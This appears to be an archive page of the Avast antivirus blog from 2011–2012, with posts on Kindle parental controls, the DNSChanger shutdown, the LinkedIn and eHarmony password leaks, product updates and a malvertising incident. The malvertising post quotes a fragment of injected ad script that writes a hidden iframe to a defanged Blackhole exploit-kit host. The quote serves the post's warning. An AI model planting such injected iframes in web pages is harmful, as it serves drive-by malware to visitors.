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September 11th, 2012

Amazon’s new Kindle Fire Tablets and parental controls

Source: Amazon

Last week, Amazon announced its new Kindle line up. There’s a lot being said about the red-hot competition between the Kindle Fire, the iPad, Google’s Nexus tablet, and Microsoft’s Surface tablet. But what drew my attention most of all was Amazon’s announcement about greater parental controls. The new Kindle Fire tablets will include an app called Kindle FreeTime for enhanced parental controls.

Parental controls on the Kindle took a big step forward this past May with the 6.3.1 release, adding the ability to password protect purchases and disable access to specific content. Amazon’s Kindle FreeTime app goes further, allowing parents to set time limits based on the type of content their children are viewing, such as games or videos. It will also support setting different policies for different children.

The first of these devices is not available until Sept 14. Judging from the commentary on the Web, there’s a lot of interest in these features, but at this stage there are also a lot more questions than answers.

  • Will the Kindle FreeTime app be available for v1 Kindle Fire tablets? That’s unclear.
  • Will it support time-of-day restrictions, such as “no games after 8pm”, as well as total activity time? The answer seems to be No.
  • What about filtering by age-appropriateness of content, not just by content type? There’s no indication Amazon will have this.
  • Will the time controls also cover books, for those parents whose kids read too much or too late into the night? No. Apparently Jeff Bezos thinks that there’s never too much of a good thing when it comes to reading, even if it’s at the expense of homework or a good night’s sleep.
  • What about parental controls for the “classic” Kindle readers? Sorry, you’re out of luck. Go buy a new Kindle Fire…or put it on your Amazon Wish List

As a parent of a 12-year old girl, one who buys too many Kindle books in general and who, lamentably, has begun to gravitate towards literary content more appropriate to a 16 year old, I find Amazon is not providing me with the controls and oversight I would like. But for my 10 year old boy who is content spending his entire day hunting zombies, Kindle FreeTime is completely sufficient.

What are your feelings about parental controls for Kindles and other tablets? What works for you? Have you found any good ways to limit or monitor your child’s activities? What are your wishes or frustrations with the devices as a parent?

Categories: Android corner, General, Technology Tags:
August 10th, 2012

avast! Endpoint Protection Suite: Compelling Alternative for Business-level Virus Protection

Those of you who manage Windows servers and endpoints for SMBs or enterprise will be interested to read the latest review of avast! Endpoint Protection Suite from eSecurity Planet. Technology journalist Paul Rubens looked into the nuts n’ bolts of our business product and found the same award-winning multi-layered protection approach as the consumer products  –with the addition of server protection and a choice of two central management consoles, Small Office Administration or Enterprise Administration.

The web-based Small Office Administration console is designed for companies with up to 200 end users. Unskilled administrators have a user-friendly central window which controls all functions of endpoint and server security. Despite its simplicity, it offers remote installation and updates of endpoint software, scanning and remote running of scan jobs, and virus activity reporting. There’s also an auto-discovery of new/unprotected or “rogue” machines connected to your company network.

The Enterprise Administration console is accessed as a Windows application and offers sophisticated functionality for skilled IT staff. Admins manage devices organized in a hierarchical tree structure based for example, on the geographical or organizational structure of their network, which makes it possible for them to assign administration access rights and policies. It also includes customizable alerting so they can receive a warning by email regarding activity on your network that warrants their attention.

July 6th, 2012

How not to lose your internet access on Jul 9th 2012

Few years back a group of bad guys from Estonia had neat idea how to get between you and the sites you want to visit on internet. They created malware which was named by AV companies DnsChanger. The main purpose of the malware was to change DNS servers your computer uses for the name to ip address translation to the servers operated by the criminals. This way they can intercept your traffic and eventually monetize it. The gang was later arrested and the servers confiscated by FBI. And there lies the problem, because FBI was ordered by the court that they must turn off these servers on Monday July 9th 2012. There are still about 300 000 computers around which are using the wrong DNS servers, so although the probability you’re one of them is quite low, it’s better to be safe than sorry and check if it may concern you.

Read more…

Categories: General, Technology, Virus Lab Tags:
June 29th, 2012

New avast! antivirus software update

Late yesterday (28 June 2012), AVAST Software’s VP of Windows Products, Pavel Sedina, announced a new release of avast! Free Antivirus, avast! Pro Antivirus, and avast! Internet Security.

The new version is 7.0.1451 and contains the following totally new features:

  • WebRep now supports Opera
  • SiteCorrect module for the detection of unwanted websites

And, in addition to the new features, our developers have made the following modifications:

  • Changes in the AutoSandbox module
  • Outlook plugin redesign
  • Windows 8 compatibility updates
  • Emergency Updater
  • Improvements to Remote Assistance (support for UAC prompts, etc.)
  • Improvements to avast! SafeZone™ (protection against kernel-mode keyloggers, updated SafeZone Browser, clipboard sharing, etc.)

We offer very special thanks to our developers, our QA team, and most importantly our loyal users, who have for many years provided us with great constructive feedback. Anyone can complain, but avast! users consistently amaze us with their new ideas.

 

For more technical info, please visit http://forum.avast.com/index.php?topic=100247.0

For the millions of you who have avast! already installed, just open your avast! control panel, then go to Maintenance -> Update Program

Or, you may download the new update file directly here http://files.avast.com/iavs5x/avast_free_antivirus_setup.exe

 

June 7th, 2012

LastFM investigating passwords hack

Yesterday, LinkedIn started investigating a password leak, followed by online dating site eHarmony, and now online music streaming site LastFM has announced on their blog that they too are investigating the leak of user passwords. As a precautionary measure, they are advising all their users to change their passwords immediately. You can do that here.

Yesterday, a Russian hacker reportedly stole 6.5 million LinkedIn passwords and 1.5 million passwords from eHarmony. It is not yet known if the hacking incidents are related.

It’s worth repeating the password tips my colleague Jindrich Kubec wrote in an earlier blog post.

A simple 5 step procedure for creating new passwords:

  1. 1. Avoid anything ‘personal’ such as names and birth dates – see this list for examples of passwords to avoid
  2. 2. Avoid overly complex passwords as you don’t want to write them down
  3. 3. Don’t reuse passwords anywhere – leaks will happen in the future and you don’t want a single leak giving the bad guys keys to all the online services you use
  4. 4. Longer passwords are always better
  5. 5. Beware the phishers: always ensure you’re doing sensitive operation on the legitimate site, under a secure and verified connection. I’d also recommend never clicking on links in emails to update sensitive information Instead, manually enter the site and make changes.
Categories: General, Technology Tags: ,
June 7th, 2012

LinkedIn and eHarmony passwords databases leaked

Yesterday, password databases from two popular websites were leaked in an underground forum popular with computer hackers.  6.5 million passwords from LinkedIn and a further 1.5 million passwords from internet dating site eHarmony were divulged following attacks on these sites.

LinkedIn has already acknowledged the leak, and have said they are changing the algorithm for storing sensitive data and will  email users instructions on how to reset  password.

eHarmony has also admitted a hack and has said it members will receive an email with instructions on how to reset their passwords. Read more…

Categories: General, Technology Tags:
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April 12th, 2012

Beware of a new Windows security vulnerability (MS12-024)

As a part of the April’s “Patch Tuesday”, Microsoft released a fix for the MS12-024 / CVE-2012-0151 vulnerability.

This issue was discovered and researched by us; we have been in contact with Microsoft engineers for the past few months to fix this problem. The aim of this blog post is to explain the problem, the risks, and possible consequences of the fix.

Read more…

December 30th, 2011

Frequently asked questions about avast! Mobile Security

With the introduction of our new mobile product, avast! Free Mobile Security, we officially entered the mobile security business. While most of the feedback we have seen to date has been very positive, some of the reviews and comments on the Android market indicate that some people are a bit confused about the product and its features. This blog post was meant to explain some of the concepts and hopefully help resolve some of the confusion. It is structured as questions and answers. If you have additional questions, please feel free to post a comment below or head to our forum.

 

1. Why should I install a security product on my phone? There’s no viruses anyway, right?

First, it’s important to realize that the product goes well beyond malware protection. Components like Anti-theft, Firewall, SMS and call filtering and Application management are very useful irrespective of the malware situation and are all a good reason to install the product.

However, even the malware situation is not that great. To date, we have registered about 4,000 unique apps that exhibit malicious behavior. Most of them were pulled from the market relatively soon (some didn’t even make it to the market), but we dare to say that we can detect them faster.

Also, some of the threats are completely platform independent. A great example is phishing. Here’s how it works: you are sent a link to a website that looks and feels exactly like your online banking site, but in fact it’s a fake site whose purpose is to capture your credentials and steal your money. This has been a long-time classic on the desktop, but as people start browsing the web using their mobile devices it’s also becoming a problem here. Therefore, it does make sense to have an app that will alert you whenever you do something stupid like this (in case of avast! Mobile Security, the Web Shield component takes care phishing URL filtering). Especially given it’s free.

 

Read more…

Categories: Android corner, Technology Tags:
November 30th, 2011

avast! BackUp saves files from disaster

When a fire blazes, a thief strikes or a cup of coffee spills, having a backup copy of your computer files is a major relief. Hardware can be replaced, but retrieving precious photos, your extensive music collection and the past few years’ tax returns – well, not so simple – until now.

Avast! BackUp is an online backup and recovery service that allows you to select sets of data or individual files you want to back up. For example, if you only want to back up your music, you could choose files with .mp3 extensions, or, like me, if you want a backup of Outlook to preserve work contacts, you can choose Outlook email and contacts. For a second level of protection you can also back up to a local external drive.
Read more…

November 21st, 2011

Discover lost fortresses and modern malware

History fans  can do more than just learn about a vanished empire in the Sahara. When they visit Archaeology.org, the online publication of the Archaeological Institute of America, they can also pick up malware via an infected advertisement on the page.

“It’s a blackhole attack through advertisements, OpenX in this case,” confirmed Jiri Sejtko, senior virus analyst at the AVAST Virus Lab. “Here it is: OA_output['16'] += “<”+…. document.write(\’<”+”iframe src=\”hxxp://hdfh11.coom.in/main.php?page=423b262d0a1a9f70\”

OpenX is an open-source platform for exchanging advertisements. The blackhole toolkit is, in a nutshell, a system for delivering a wide range of malware. “It could be almost anything, for example a worm or fake antivirus,” added Jiri.

This latest bit of malware was uncovered by computer users researching the hotlinks on a recent National Geographic article http://news.nationalgeographic.com/news/2011/11/111111-sahara-libya-lost-civilization-science-satellites/ and the Discover magazine article Satellite Photos Show Ancient Saharan Fortresses of a Lost Empire. Read more…

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